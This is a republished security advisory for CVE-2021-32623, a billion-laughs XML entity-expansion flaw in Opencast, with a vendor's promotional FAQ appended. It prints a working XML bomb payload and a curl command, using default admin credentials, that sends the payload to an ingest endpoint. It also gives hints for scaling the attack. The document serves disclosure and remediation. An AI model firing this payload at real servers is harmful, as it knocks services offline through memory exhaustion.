Summary
Billion laughs attack (XML bomb)
Workarounds
There is no known workaround for this issue.
References
- Billion laughs attack explained
- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________
For more information
If you have any questions or comments about this advisory:
- Open an issue in our issue tracker
- Email us at [email protected]
Impact
Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.
Consider an XML file (createMediaPackage.xml) like this:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
<!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
<!ELEMENT title (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
<title>&lol5;</title>
<media/>
<metadata/>
<attachments/>
<publications/>
</mediapackage>
Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:
curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
-F 'mediapackage=<createMediaPackage.xml' \
-F sourceFlavors="" \
-F sourceTags="" \
-F deleteExternal="" \
-F tagsAndFlavor='' \
-o out.xml
Additional notes:
- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
- Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
- To exploit this, users need to have ingest privileges, limiting the group of potential attackers
CVE-2021-32623 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.
Frequently Asked Questions
- What is CVE-2021-32623? CVE-2021-32623 is a high-severity security vulnerability in org.opencastproject:opencast-kernel (maven), affecting versions < 9.6. It is fixed in 9.6.
- How severe is CVE-2021-32623? CVE-2021-32623 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of org.opencastproject:opencast-kernel are affected by CVE-2021-32623? org.opencastproject:opencast-kernel (maven) versions < 9.6 is affected.
- Is there a fix for CVE-2021-32623? Yes. CVE-2021-32623 is fixed in 9.6. Upgrade to this version or later.
- Is CVE-2021-32623 exploitable, and should I be worried? Whether CVE-2021-32623 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2021-32623 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2021-32623? Upgrade
org.opencastproject:opencast-kernelto 9.6 or later.